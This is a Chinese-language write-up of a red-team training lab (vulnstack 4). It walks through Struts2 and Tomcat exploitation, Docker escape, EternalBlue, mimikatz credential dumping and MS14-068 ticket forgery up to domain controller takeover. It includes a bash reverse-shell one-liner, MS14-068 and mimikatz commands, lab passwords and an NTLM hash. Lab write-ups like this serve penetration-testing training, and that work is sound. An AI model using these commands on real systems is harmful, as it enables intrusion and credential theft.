目录
环境搭建
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
环境说明
机器密码
ubuntu:ubuntu
域成员机器:
douser:Dotest123
DC:
administrator:Test2008
IP地址
Kali:192.168.0.108
Ubuntu:192.168.0.102 192.168.183.128
域成员:192.168.183.129
DC:192.168.183.130
官方描述
大家好红日安全红队靶场(四)已经出来,本次靶场渗透
反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透
等多种组合漏洞,希望大家多多利用。
红队评估四靶场描述
第一次搭建靶机,如有啥不足或问题,欢迎各位师傅在vlunstack微信群里提出,向师傅们学习
靶场学习路径,可参考
struts2 漏洞利用
tomcat 漏洞利用
phpmyadmin getshelldocker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
Web-Ubuntu上启动环境,因为环境是在Ubuntu上用docker做的,所以需要启动docker容器
先进入ubuntu启动web,开启3个环境
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
这里没有做phpmyadmin漏洞的利用
外网信息收集与利用
在kali中使用nmap对目标主机进行扫描,发现了192.168.0.102的主机,并开启了22、2001、2002端口都开启了tcp服务
struts2漏洞
在浏览器中进行访问主机的2001端口,此时可以看到浏览的结果,上传文件后发现没有任何反应,此时发现上传之后url的后缀名发现是以.action结尾的,action可能是Java语言编写的,判断可能存在struts2的漏洞
使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
使用S2-046漏洞发现能够命令回显。命令执行,可以看到存在一个IP地址为172.20.0.2的地址
查看系统进程的cgroup信息,发现有docker
在kali中开启一个监听
在struts2内执行反弹shell的命令 bash -i &>/dev/tcp/192.168.0.102/8888 <&1
可以看到kali中能够成功的拿到shell,进行查看时也能查看是否存在 dockerrnv 文件。此时确定是在docker中,因此需要进行docker逃逸
通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。在进行挂载的时候发现没有可以挂载的光盘,无法挂载光盘,就无法向下进行,逃逸失败。然后进行查看其他端口
Tomcat漏洞
2002端口是一个apache tomcat 8.5.19
对该版本的tomcat进行漏洞查找,发现该版本存在CVE-2017-12617漏洞,这个漏洞CVE- 2017-12615是 Tomcat远程代码执行漏洞(PUT请求),可以使用PUT方法上传任意文件
用burpsuite进行抓包,进行上传jsp的文件
尝试上传文件能够成功上传
发现限制了jsp文件的上传
使用godzilla生成一个木马文件
生成后打开查看,然后把此文件复制到burpsuite进行上传
由于不能直接上传jsp文件所以,我们在jsp后添加一个/发现就能成功的上传
上传完成后,在浏览器中进行访问可以成功的访问
在godzilla的目标中点击添加刚刚上传的木马进行连接
成功的连接,进入shell管理界面
进行查看根目录下的的文件发现了docker的dokerenv文件
docker逃逸
进行查看光盘时,可以看到能够挂载的光盘
创建一个文件,把光盘sda1挂载到该文件下
进行挂载后,再次查看可以发现宿主主机中的一些文件
提权
尝试进行修改这些文件发现,能够进行修改文件,然后在相同版本的ubuntu中进行创建用户密码,复制到此文件中
使用ssh连接ubuntu即可,到此我们才真正意义上拿到了ubuntu的权限
进行提权时,发现di9zu不在 sudoers 文件中,不能进行提权
进行修改sudoer允许di9zu用户使用sudo命令进行提权
此时已经能够拿到root的权限了
查看网卡信息发现还存在一块网卡信息
在kali中进行访问另一块网卡发现无法通信,推测该网卡还连接着其他内网主机
上线宿主机到msf,生成一个木马文件,上传到ubuntu执行
开启一个http服务
在浏览器中进行浏览该文件
在ubuntu中进行下载木马文件,并赋于该文件的执行权限
开启一个msf监听,使用msf接收会话,执行完木马文件,可以看到msf中能够成功上线
在ubuntu中进行执行制作的shell.elf木马文件
内网渗透
扫描内网主机端口
由于上面已经知道了ubuntu还存在另外一张网卡连接着其他的主机,上传一个扫描工具fscan进行全方位的进行对192.168.183.0/24网段进行漏洞扫描
可以看到扫描结果中有,该网段中存在另外的两台主机,分别为Windows7和Windows server 2008,IP地址分别为192.168.183.129和192.168.183.130,而且两台主机还都开启了445端口还可能存在ms17_010漏洞,而且Windows server 2008还是一个DC
端口转发
由于在kali无法直接对该网段进行访问,在ubuntu中添加路由的信息。使用route命令可以借助meterpreter会话进一步msf渗透内网,已经拿下并产生meterpreter反弹会话的主机可能出于内网之中。
由于内网无法直接访问,使用代理进行访问,配置代理并执行
利用永恒之蓝获得win7
kali中自带代理的模块,对全局代理的配置文件进行修改,与msf中开启的代理模块的信息匹配一致
使用全局代理开启msfconsole
由于用fscan进行扫描后发现有可能存在ms17_010漏洞,使用msf再次进行扫描看是否存在ms17_010漏洞
设置扫描的IP地址段
扫描发现两台主机还是可能存在ms17_010漏洞
利用ms17_010漏洞对两台主机进行渗透测试,先利用ms17_010漏洞对win7这台主机进行测试
发现能够成功的拿下win7这台主机的权限
再开启一个窗口进行尝试攻击Windows server 2008,发现不可行
上面得到了权限后进入到win7中
查看这台主机的系统信息,可以发现这台主机存在域demo中
使用Dos命令net view查看了当前的网络计算机列表,发现有两台主机,由于在用fscan进行扫描时发现了DC也就是域控是Windows server 2008,所以win7也就是demo域中的域成员
在win7中还能够成功的ping通另一台主机Windows server 2008
尝试查看win7中存在的用户,发现有douser、testclone和testwin7三个用户
mimikatz抓取密码
获取用户之后,进一步获取用户的密码。把明文密码抓取工具mimikatz上传到kali中,通过kali上传到win7中
上传后,进行查看可以看到已经成功上传
在win7中执行mimikatz.exe,使用privilege::debug进行提权。提示权限不够不能够获取调试权限
使用exit回到meterpreter里面使用令牌窃取SYSTEM权限之后再进行mimikatz密码进行抓取
再次执行mimikatz.exe进入到mimikatz中进行执行privilege::debug提取权限,可以看到成功提权
使用sekurlsa::logonpasswords命令进行抓取明文密码,可以看到能够成功的抓取win7中SID和用户douser的明文密码为Dotest123
域横向移动
利用Kerberos 域用户提权漏洞获得域控WIN2008
拿到了域成员的帐号和密码后,直接使用一个ptt伪造票据来拿到域控权限,利用mimikatz注入票据。
生成一个高权限票据:
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
在注入之前先查看注入前的权限,此时发现权限不够
清除内存中的所有票据:
打开mimikatz
输入kerberos::purge
当看到”Ticket(s) purge for current session is OK’时,表示清除成功
将高权限的票据注入内存:
kerberos::ptc “TGT_user1@pentest.com.ccache”(双引号里面的是票据的名字)
kerberos::ptc “TGT_douser@DEMO.COM.ccache”
注入票据后再次查看权限,能够成功的查取
能够成功的查看另一台主机Windows server2008的目录信息
上传msf马到域控
在kali中生成一个正向连接的木马文件,上传到Windows server2008中
由于无法直接访问主机Windows server2008,先上传到win7中
再通过win7上传到Windows server 2008中
木马上传成功后,创建服务执行木马文件,并用msf接受会话
配置文件设置成功后进行执行监听
使用copy命令复制到Windows server 2008上后使用sc创建计划任务
关闭Windows server 2008的防火墙
在监听界面等待一会后,可以看的监听段已经执行成功拿到权限
进入系统中进行查看系统信息,发现该主机也没有打KB3011780补丁
查看该主机所存在的用户
查看域中的主域,发现主域为自己
查看主机,一共两台主机,发现没有其他的域成员机了,则证明已经打通了所有的主机
mimikatz抓取密码
上面查看系统信息发现这台主机也没有打KB3011780的补丁,上传mimikatz进行抓取密码
可以看到成功的上传了mimikatz
执行mimikatz
使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取
由于没有明文密码,此时使用lsadump::lsa /patch读取所有域用户的哈希
借助解密软件对administrator的NTLM进行解密56876536089599949a617c8718c88a6a,发现密码为Test2008
远程登陆域控
开启远程桌面
在kali中开启远程桌面